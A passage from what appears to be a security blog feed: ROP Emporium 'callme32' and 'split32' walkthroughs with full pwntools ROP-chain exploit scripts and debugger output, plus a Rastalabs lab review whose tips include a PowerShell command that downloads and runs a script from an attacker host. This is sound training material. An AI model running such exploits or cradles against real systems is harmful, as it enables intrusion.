overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Perfect! Now all that remains is to create our rop chain.

The first thing we want to call is callme_one, so that will go at the start of the chain and will be the first thing to get executed.

When the process execution 'returns' to our callme_one address it will expect the stack to be set up. The top of the stack should contain the return address of the function, and then the function arguments as it's 32-bit.

Our stack should therefore look like:

.......................Top of stack, lower memory addresses
0x00000003
0x00000002
0x00000001
<return address>
<address of callme_one@plt>
0x41414141
0x41414141
0x41414141
...
......................Bottom of stack, higher memory addresses

Let's set up our rop chain then, forgetting about the return address for now and just setting it to BBBB:

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)
rop += "BBBB"
rop += pwn.p32(0x1)
rop += pwn.p32(0x2)
rop += pwn.p32(0x3)

# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Running this, we break at callme_one:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff8a6fc0  →  0x61616161 ("aaaa"?)
$ebx   : 0x0
$ecx   : 0xf7f3b89c  →  0x00000000
$edx   : 0xff8a6fc0  →  0x61616161 ("aaaa"?)
$esp   : 0xff8a6ff0  →  0x42424242 ("BBBB"?)
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f3a000  →  0x001d5d8c
$edi   : 0x0
$eip   : 0x80485c0   →  <callme_one@plt+0> jmp DWORD PTR ds:0x804a018
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $cs: 0x0023  $es: 0x002b  $ss: 0x002b  $gs: 0x0063  $ds: 0x002b
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff8a6ff0│+0x00: 0x42424242     ← $esp
0xff8a6ff4│+0x04: 0x00000001
0xff8a6ff8│+0x08: 0x00000002
0xff8a6ffc│+0x0c: 0x00000003
0xff8a7000│+0x10: 0xf7f3000a  →  0x870c0e41
0xff8a7004│+0x14: 0xf7f3a000  →  0x001d5d8c
0xff8a7008│+0x18: 0x00000000
0xff8a700c│+0x1c: 0xf7d7d9a1  →  <__libc_start_main+241> add esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x80485b0 <callme_three@plt+0> jmp    DWORD PTR ds:0x804a014
    0x80485b6 <callme_three@plt+6> push   0x10
    0x80485bb <callme_three@plt+11> jmp    0x8048580
 →  0x80485c0 <callme_one@plt+0> jmp    DWORD PTR ds:0x804a018
    0x80485c6 <callme_one@plt+6> push   0x18
    0x80485cb <callme_one@plt+11> jmp    0x8048580
    0x80485d0 <puts@plt+0>     jmp    DWORD PTR ds:0x804a01c
    0x80485d6 <puts@plt+6>     push   0x20
    0x80485db <puts@plt+11>    jmp    0x8048580
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x80485c0 → Name: callme_one@plt()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x080485c0 in callme_one@plt ()
gef➤

Here we can see that we're in the callme_one function, and it looks like our stack is set up correctly! Our return address is 0x42424242 (BBBB), and our 1,2 and 3 are in the correct positions so that the function thinks they are the arguments!

If we let execution continue we see that we get a segfault when the process tries to return to our 0x42424242 address, and our arguments are still there at the top of the stack. This is problematic, as we want to redirect to our second function callme_two, but if we do then the stack is set up so that 0x00000001 would be the return address, and 0x00000002 would be the first argument and so on... so what can we do?

Rop Gadgets

Here we use what is known as a rop gadget. A gadget is any set of instructions that ends in a ret or similar command, so that we can execute those instructions and then return to our rop chain.

Here, if we can find a pop-pop-pop-ret and use that as our first return address, it will pop our three arguments off the stack and then return to the next address, which can be anything!

It doesn't matter what registers the values are getting popped into (as long as it isn't ESP or EIP of course), it just matters that they are being popped off the stack.

Let's use gdb-gef to search for gadgets. If we run gef help we can see the gef commands, including ropper.

We can use ropper to search for any pop-pop-pop-ret by using the % sign as a wildcard to match any string.

gef➤  ropper --search  "pop %; pop %; pop %; ret"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop %; pop %; pop %; ret

[INFO] File: /root/ctfs/ropemporium/32/callme/callme32
0x080488a8: pop ebx; pop esi; pop edi; pop ebp; ret;
0x080488aa: pop edi; pop ebp; ret;
0x080488a9: pop esi; pop edi; pop ebp; ret;
0x080488c0: pop ss; add byte ptr [eax], al; add esp, 8; pop ebx; ret;

gef➤

Perfect! We have a nice pop-pop-pop-ret at 0x080488a9, so lets make this our return address, and then just add the stack frame for callme_two immediately afterwards!

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)      # <-    inital overwrite to callme_one
rop += pwn.p32(0x080488a9)          #   |   callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1)                 #   |   callme_one arg1
rop += pwn.p32(0x2)                 #   |   callme_one arg2
rop += pwn.p32(0x3)                 # <`    callme_one arg3
rop += pwn.p32(callme_two_plt)      # <-    pop-pop-pop-ret returns here
rop += "BBBB"                       #   |   callme_two return address
rop += pwn.p32(0x1)                 #   |   callme_two arg1
rop += pwn.p32(0x2)                 #   |   callme_two arg2
rop += pwn.p32(0x3)                 # <`    callme_two arg3

# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Running this we break at callme_one again, we can step through and see that we return to our pop-pop-pop-ret, which pops our inital arguments of the stack and then returns to callme_two with the correct arguments in place!

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0x0
$ebx   : 0x0
$ecx   : 0x15
$edx   : 0x9850168   →  0x00000000
$esp   : 0xff8df670  →  0x080488a9  →  <__libc_csu_init+89> pop esi
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f0b000  →  0x001d5d8c
$edi   : 0x0
$eip   : 0xf7f387cc  →  <callme_one+252> ret
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $ds: 0x002b  $gs: 0x0063  $cs: 0x0023  $ss: 0x002b  $es: 0x002b
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff8df670│+0x00: 0x080488a9  →  <__libc_csu_init+89> pop esi    ← $esp
0xff8df674│+0x04: 0x00000001
0xff8df678│+0x08: 0x00000002
0xff8df67c│+0x0c: 0x00000003
0xff8df680│+0x10: 0x08048620  →  <callme_two@plt+0> jmp DWORD PTR ds:0x804a030
0xff8df684│+0x14: 0x42424242
0xff8df688│+0x18: 0x00000001
0xff8df68c│+0x1c: 0x00000002
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7f387c4 <callme_one+244> std
   0xf7f387c5 <callme_one+245> (bad)
   0xf7f387c6 <callme_one+246> call   DWORD PTR [eax-0x3603a275]
 → 0xf7f387cc <callme_one+252> ret
   ↳   0x80488a9 <__libc_csu_init+89> pop    esi
       0x80488aa <__libc_csu_init+90> pop    edi
       0x80488ab <__libc_csu_init+91> pop    ebp
       0x80488ac <__libc_csu_init+92> ret
       0x80488ad                  lea    esi, [esi+0x0]
       0x80488b0 <__libc_csu_fini+0> repz   ret
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f387cc → Name: callme_one()
[#1] 0x80488a9 → Name: __libc_csu_init()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f387cc in callme_one () from ./libcallme32.so

And once we enter callme_two:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0x0
$ebx   : 0x0
$ecx   : 0x15
$edx   : 0x9850168   →  0x00000000
$esp   : 0xff8df684  →  0x42424242 ("BBBB"?)
$ebp   : 0x3
$esi   : 0x1
$edi   : 0x2
$eip   : 0xf7f387cd  →  <callme_two+0> push ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $ds: 0x002b  $gs: 0x0063  $cs: 0x0023  $ss: 0x002b  $es: 0x002b
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff8df684│+0x00: 0x42424242     ← $esp
0xff8df688│+0x04: 0x00000001
0xff8df68c│+0x08: 0x00000002
0xff8df690│+0x0c: 0x00000003
0xff8df694│+0x10: 0xff8d000a  →  0x00000000
0xff8df698│+0x14: 0xff8df72c  →  0xff8e065a  →  "LC_NUMERIC=en_GB.UTF-8"
0xff8df69c│+0x18: 0xff8df6b4  →  0x00000000
0xff8df6a0│+0x1c: 0x00000001
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7f387c5 <callme_one+245> (bad)
   0xf7f387c6 <callme_one+246> call   DWORD PTR [eax-0x3603a275]
   0xf7f387cc <callme_one+252> ret
 → 0xf7f387cd <callme_two+0>   push   ebp
   0xf7f387ce <callme_two+1>   mov    ebp, esp
   0xf7f387d0 <callme_two+3>   push   esi
   0xf7f387d1 <callme_two+4>   push   ebx
   0xf7f387d2 <callme_two+5>   sub    esp, 0x10
   0xf7f387d5 <callme_two+8>   call   0xf7f385a0 <__x86.get_pc_thunk.bx>
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f387cd → Name: callme_two()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f387cd in callme_two () from ./libcallme32.so

We see our BBBB return address and arguments correctly placed on the stack!

Let's do the same for callme_three and then execute the whole chain!

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
exit_plt = binary.symbols.plt.exit

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)      # <-    inital overwrite to callme_one
rop += pwn.p32(0x080488a9)          #   |   callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1)                 #   |   callme_one arg1
rop += pwn.p32(0x2)                 #   |   callme_one arg2
rop += pwn.p32(0x3)                 # <`    callme_one arg3
rop += pwn.p32(callme_two_plt)      # <-    pop-pop-pop-ret returns here
rop += pwn.p32(0x080488a9)          #   |   callme_two return address to pop-pop-pop-ret
rop += pwn.p32(0x1)                 #   |   callme_two arg1
rop += pwn.p32(0x2)                 #   |   callme_two arg2
rop += pwn.p32(0x3)                 # <`    callme_two arg3
rop += pwn.p32(callme_three_plt)    # <-    pop-pop-pop-ret returns here
rop += pwn.p32(exit_plt)            #   |   callme_three return address to exit
rop += pwn.p32(0x1)                 #   |   callme_three arg1
rop += pwn.p32(0x2)                 #   |   callme_three arg2
rop += pwn.p32(0x3)                 # <`    callme_three arg3


# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Here we also set the callme_three return address to exit@plt so that we exit the process nicely, though it's not strictly necessary as we don't really care if it errors after it prints our flag!

It all seems to be in place, let's give it a run:

[*] '/root/ctfs/ropemporium/32/callme/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[*] callme_one_plt: 0x80485c0
[*] callme_two_plt: 0x8048620
[*] callme_three_plt: 0x80485b0
[+] Starting local process '/usr/bin/gdbserver': pid 3642
[*] running in new terminal: /usr/bin/gdb -q  "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwn8CbXJP.gdb"
[*] Switching to interactive mode
ROPE{a_placeholder_32byte_flag!}
Child exited with status 0
[*] Process '/usr/bin/gdbserver' stopped with exit code 0 (pid 3646)
[*] Got EOF while reading in interactive

Awesome! We got our flag!

Summary

We've pwnd callme32 by setting up our first real rop chain which calls three different functions with arguments. We've picked up a few new tricks in gdb-gef, radare2 and pwntools and really gotten to grips with the layout of a stack frame.

Next time we'll try the fourth challenge, write4, where we'll have to use gadgets to write our own values to memory and then use them to get a shell!

P.S Thanks to @PwnDexter for the awesome title!

]]>
<![CDATA[mykali]]>

I recently blogged on the company site about a new tool I wrote called mykali. It's a tool for quickly and easily configuring Kali boxes 'just the way you like them'. Check it out!

]]>
/mykali/5b6d8cfd4b40ee0746bbb05dFri, 10 Aug 2018 13:06:40 GMTmykali

I recently blogged on the company site about a new tool I wrote called mykali. It's a tool for quickly and easily configuring Kali boxes 'just the way you like them'. Check it out!

]]>
<![CDATA[700 hours of pain and a beer-can sandwich]]>/a-rastalabs-story/5b5b0903bdfc4d0751b49cb0Tue, 31 Jul 2018 21:34:52 GMT700 hours of pain and a beer-can sandwich

A Rastlabs story.

So probably like many people, I'd only heard good things about Rastalabs before I picked it up. Sure, people said it was hard, but how bad could it be? I had this.

Boy was I in for a shock.

I picked up one month of Rastalabs for July of 2018. I timed it perfectly so that it started nicely on a Friday afternoon, and finished one month later on a Sunday afternoon. I settled down, cracked my fingers, and set about pwning this motherflipper.

Fast-forward to two days later and I've barely left my seat. It's Sunday night and I'm still desperately trying to find something, anything to give me my initial foothold. I've spent hours and hours poring over the same bits of information, trying to figure out where I was going wrong. Glancing over things one last time before bed, an idea struck me! Five minutes later I'm in. Relief floods over me, a whole weekend down but at least I have something to show for it.

The rest of the month continued in much the same manner. I quickly picked up a few more flags once I was in which gave me a confidence boost, and one by one the others fell, but I did little else for a month besides eat, sleep, work and Rastalabs (as my better half will tell you!).

In the end, one month was literally just enough time to get the flags. In fact, I cut it so close, that even though I still had lab access, the HTB website was no longer accepting flags for me and was saying my time had expired! I quickly created a support ticket however, and the stellar support team had it sorted within a few hours, even on a Sunday!

Once I was done I didn't know what to do with myself. What do you do when something you've been so focused on for so long comes to an end? Ah, of course. A Sunday lunch bacon sandwich!

Thoughts

I was already a member of Hackthebox and the NetSecFocus Mattermost chat server, but I joined the #Rastalabs channel so I could share my pain with other, similarly woeful individuals.

Rastamouse seemed to be ever present and ready to help - I honestly don't know he does it. He seems to have infinite patience, quickly resetting any servers, solving problems and answering questions and somehow staying sane and good-natured through it all.

The lab itself is VPN access, in the way that anyone who has done OSCP or HTB before will be familiar with, and consists of several segregated networks. You land in the 'external' network representing the internet, and have to make your away across a variety of hosts and networks to the ultimate final goal of Domain Admin.

This isn't a simple land-and-fire-up-responder exercise, nor can you rely on frameworks like Metasploit or Empire to get the job done. You have to get familiar with the underlying tools, start to understand Active Directory and what it is in the environment you're specifically looking for. This is great, as anyone can land on a box and fire off a few Metasploit modules, what this lab is teaching you to do is get to grips with the domain and properly start to figure things out for yourself. It's the OSCP equivalent for Windows Domain compromisation.

The only real gripe I had was with some of the other users. This is a redteaming simulation lab, and yet some of them would be dropping binaries and files all over the box, leaving flags or passwords or information in the clear for others to find without clearing up and so on. As the domain is so interconnected, with scripted users performing actions and users with agents and processes all over the place individual boxes can't be reset, only the whole lab, so when users do this it can cause problems for others that follow.

All-in-all it was an incredible experience, as these challenges often are. I learnt a lot, like a lot a lot, and think Rastamouse and the Hackthebox team have done a fantastic job with this lab. At £90 for the month this lab is an absolute bargain and I cannot recommend it enough. I'll be getting another month after a bit of break, so that I can try the exercises again without focusing on the flags. I want to try different tools, and to do it quicker and quieter.

Tips

For anyone looking to take on the lab, or who currently are, here are my thoughts and tips:

  • This is not a beginner friendly lab. It is however, a great intermediate lab for anyone looking to hone their skills, particularly relating to domain compromisation and Active Directory attacks.
  • Get familiar with PowerShell and PowerView. Not just the Empire modules, read the docs and learn how to pipe PowerShell commands to each other so you can filter them and narrow down on your targets.
  • Enumerate, enumerate, enumerate. Anytime you get a piece of information, start over. If you compromise a new user on a new box, enumerate the box. Enumerate old boxes with the new user. Enumerate the user's AD permissions. Enumerate it all, and build up a picture and understanding of what's going on.
  • Don't assume something won't work or won't be a vector just because it's a lab. There are scripted users doing all sorts of actions across the domain.
  • Check out harmj0y's blog (one of the creator's of Empire/PowerSploit) as well as Rastmouse's blog itself. There's lots of quality content that will definitely prove useful.
  • Deepen your understanding of Active Directory. A good resource for this is adsecurity.
  • Treat it like a redteam. Don't drop files willy-nilly and restart boxes or kill processes to see if something worked. Try and keep things in memory, do things quietly and efficiently.
  • iex(new-object net.webclient).downloadstring("http://myip/APowerShellScript.ps1") <3 python -m SimpleHTTPServer 8080
  • Respect your lab partners. Clean up after yourself. If you have to drop files, keep them isolated and delete them as soon as you're done.
  • Don't be afraid to ask questions. For most, this is a learning experience, and a damn good one. And if people seem smug, it's always obvious once you know the answer.
  • Try Harder.
]]>
<![CDATA[Lab401 Discount Code]]>/lab401-discount-code/5afe9ea09fb0af0734ce9700Fri, 18 May 2018 09:45:16 GMTLab401 Discount Code

I recently picked up a Proxmark and a Chameleon to do some RFID hacking from Lab401.

They're both great devices and have been a lot of fun so far, I'll be getting properly to grips with these and writing some blog posts for them soon, but for now the guys at Lab401 have generously offered a discount code for jmpesp.me readers: JMPESP-READERS.

They have all sorts of cool gadgets and gizmos for hackers and pentesters, check them out!

]]>
<![CDATA[Ropping to Victory - Part 2, split]]>/ropping-to-victory-part-2-split/5ae70611c11cf4073080f5eaFri, 04 May 2018 17:15:29 GMTRopping to Victory - Part 2, split

ROP Emporium challenges with Radare2 and pwntools.

Last time in Ropping to Victory we went over the basics of Return Oriented Programming using Radare2 and pwntools. We completed the 32-bit ret2win challenge, an easy start given we already had a function that did everything for us, and we just had to call it.

This time we'll be looking at the 32-bit split challenge, this one is a little more difficult as the various bits and pieces we need are split up as opposed to being perfectly set up in one function for us. We'll skip some of the more basic steps from last time, but feel free to refer back if needed.

Binary Analysis

Like last time, let's start out by taking a look at the file in radare2. We can run the i command to get information about a binary:

[0x08048480]> i
blksz    0x0
block    0x100
fd       3
file     split32
format   elf
iorw     false
mode     -r-x
size     0x1e40
humansz  7.6K
type     EXEC (Executable file)
arch     x86
binsz    6504
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

There's a lot of useful information here, but let's note in particular that pic (position-independent-code) is disabled (also known as PIE or ASLR) and we do have the no-execute bit set (nx).

NX means that the stack will not be executable, which is what we expect, this is a ROP challenge so if we could just dump shellcode on the stack and execute it it would defeat the purpose of the challenge! Having PIC disabled means that our binary will not be loaded into memory at a random offset, so any memory addresses we find we can safely re-use.

Note however that most modern day operating systems have PIC enabled by default so the addresses of items in linked libraries, such as system in libc will be randomised.

Let's have a look at what functions are available:

[0x08048480]> afl
0x080483c0    3 35           sym._init
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
0x08048470    1 6            sub.__gmon_start_470
0x08048480    1 33           entry0
0x080484b0    1 4            sym.__x86.get_pc_thunk.bx
0x080484c0    4 43           sym.deregister_tm_clones
0x080484f0    4 53           sym.register_tm_clones
0x08048530    3 30           sym.__do_global_dtors_aux
0x08048550    4 43   -> 40   entry1.init
0x0804857b    1 123          sym.main
0x080485f6    1 83           sym.pwnme
0x08048649    1 25           sym.usefulFunction
0x08048670    4 93           sym.__libc_csu_init
0x080486d0    1 2            sym.__libc_csu_fini
0x080486d4    1 20           sym._fini
[0x08048480]>

This looks similar to last time, we have a pwnme function and a usefulFunction.

Looking at the main function again we see that it just prints some stuff and calls pwnme, similar to last time. Let's take a closer look at this pwnme function.

[0x08048480]> pdf @ sym.pwnme
/ (fcn) sym.pwnme 83
|   sym.pwnme ();
|           ; var int local_28h @ ebp-0x28
|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603      8d45d8         lea eax, dword [local_28h]
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      6818870408     push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      6844870408     push 0x8048744              ; const char * format
|           0x08048627      e8d4fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      a180a00408     mov eax, dword [obj.stdin]  ; [0x804a080:4]=0
|           0x08048634      83ec04         sub esp, 4
|           0x08048637      50             push eax
|           0x08048638      6a60           push 0x60                   ; '`' ; 96
|           0x0804863a      8d45d8         lea eax, dword [local_28h]
|           0x0804863d      50             push eax                    ; char *s
|           0x0804863e      e8cdfdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x08048643      83c410         add esp, 0x10
|           0x08048646      90             nop
|           0x08048647      c9             leave
\           0x08048648      c3             ret
[0x08048480]>

This also looks pretty similar to last time. We can see that 0x20 (32) bytes get zeroed out in a call to memset for the local_28h variable, and then this variable has 0x60 (96) bytes written to it using fgets, another buffer overflow found!

Visual Mode

Let's enter Visual Mode in Radare2 and rename this variable, in case we come back to this function later.

Visual mode is a great tool in Radare2 that adds a sort of Text User Interface for analysing the code. To enter Visual Mode, we can use V, and we'll be presented with something similar to the following (albeit with colour highlighting!).

[0x08048480 14% 3024 split32]> xc @ entry0
- offset - | 0 1  2 3  4 5  6 7  8 9  A B  C D  E F| 0123456789ABCDEF  comment
0x08048480 |31ed 5e89 e183 e4f0 5054 5268 d086 0408| 1.^.....PTRh....  ; [14] --r-x section size 594 named .text
0x08048490 |6870 8604 0851 5668 7b85 0408 e89f ffff| hp...QVh{.......  ; void * stack_end  ; int argc
0x080484a0 |fff4 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x080484b0 |8b1c 24c3 6690 6690 6690 6690 6690 6690| ..$.f.f.f.f.f.f.
0x080484c0 |b84f a004 082d 4ca0 0408 83f8 0676 1ab8| .O...-L......v..
0x080484d0 |0000 0000 85c0 7411 5589 e583 ec14 684c| ......t.U.....hL
0x080484e0 |a004 08ff d083 c410 c9f3 c390 8d74 2600| .............t&.
0x080484f0 |b84c a004 082d 4ca0 0408 c1f8 0289 c2c1| .L...-L.........
0x08048500 |ea1f 01d0 d1f8 741b ba00 0000 0085 d274| ......t........t
0x08048510 |1255 89e5 83ec 1050 684c a004 08ff d283| .U.....PhL......
0x08048520 |c410 c9f3 c38d 7426 008d bc27 0000 0000| ......t&...'....
0x08048530 |803d 88a0 0408 0075 1355 89e5 83ec 08e8| .=.....u.U......
0x08048540 |7cff ffff c605 88a0 0408 01c9 f3c3 6690| |.............f.
0x08048550 |b810 9f04 088b 1085 d275 05eb 938d 7600| .........u....v.
0x08048560 |ba00 0000 0085 d274 f255 89e5 83ec 1450| .......t.U.....P
0x08048570 |ffd2 83c4 10c9 e975 ffff ff8d 4c24 0483| .......u....L$..
0x08048580 |e4f0 ff71 fc55 89e5 5183 ec04 a184 a004| ...q.U..Q.......
0x08048590 |086a 006a 026a 0050 e8b3 feff ff83 c410| .j.j.j.P........  ; size_t size  ; int mode
0x080485a0 |a160 a004 086a 006a 026a 0050 e89f feff| .`...j.j.j.P....  ; size_t size  ; int mode
0x080485b0 |ff83 c410 83ec 0c68 f086 0408 e85f feff| .......h....._..  ; const char * s
0x080485c0 |ff83 c410 83ec 0c68 0687 0408 e84f feff| .......h.....O..  ; const char * s
0x080485d0 |ff83 c410 e81d 0000 0083 ec0c 680e 8704| ............h...  ; const char * s
0x080485e0 |08e8 3afe ffff 83c4 10b8 0000 0000 8b4d| ..:............M
0x080485f0 |fcc9 8d61 fcc3 5589 e583 ec28 83ec 046a| ...a..U....(...j
0x08048600 |206a 008d 45d8 50e8 54fe ffff 83c4 1083|  j..E.P.T.......  ; size_t n  ; int c
0x08048610 |ec0c 6818 8704 08e8 04fe ffff 83c4 1083| ..h.............  ; const char * s
0x08048620 |ec0c 6844 8704 08e8 d4fd ffff 83c4 10a1| ..hD............  ; const char * format
0x08048630 |80a0 0408 83ec 0450 6a60 8d45 d850 e8cd| .......Pj`.E.P..  ; char *s
0x08048640 |fdff ff83 c410 90c9 c355 89e5 83ec 0883| .........U......
0x08048650 |ec0c 6847 8704 08e8 d4fd ffff 83c4 1090| ..hG............  ; const char * string
0x08048660 |c9c3 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x08048670 |5557 5653 e837 feff ff81 c387 1900 0083| UWVS.7..........
0x08048680 |ec0c 8b6c 2420 8db3 0cff ffff e82f fdff| ...l$ ......./..
0x08048690 |ff8d 8308 ffff ff29 c6c1 fe02 85f6 7425| .......)......t%

This is Visual Mode. We have the memory addresses on the left and a hexdump on the right. We can cycle through the various Visual Mode panels using p and P, and quit at any time back to 'command mode' by hitting q.

Let's cycle through the panels until we hit the Disassembly panel, which should be the next screen by default.

[0x08048480 14% 864 split32]> pd $r @ entry0
            ;-- section..text:
            ;-- eip:
/ (fcn) entry0 33
|   entry0 ();
|           0x08048480      31ed           xor ebp, ebp                ; [14] --r-x section size 594 named .text
|           0x08048482      5e             pop esi
|           0x08048483      89e1           mov ecx, esp
|           0x08048485      83e4f0         and esp, 0xfffffff0
|           0x08048488      50             push eax
|           0x08048489      54             push esp
|           0x0804848a      52             push edx
|           0x0804848b      68d0860408     push sym.__libc_csu_fini    ; 0x80486d0
|           0x08048490      6870860408     push sym.__libc_csu_init    ; 0x8048670 ; "UWVS\xe87\xfe\xff\xff\x81\u00c7\x19"
|           0x08048495      51             push ecx
|           0x08048496      56             push esi                    ; void * stack_end
|           0x08048497      687b850408     push sym.main               ; 0x804857b ; int argc
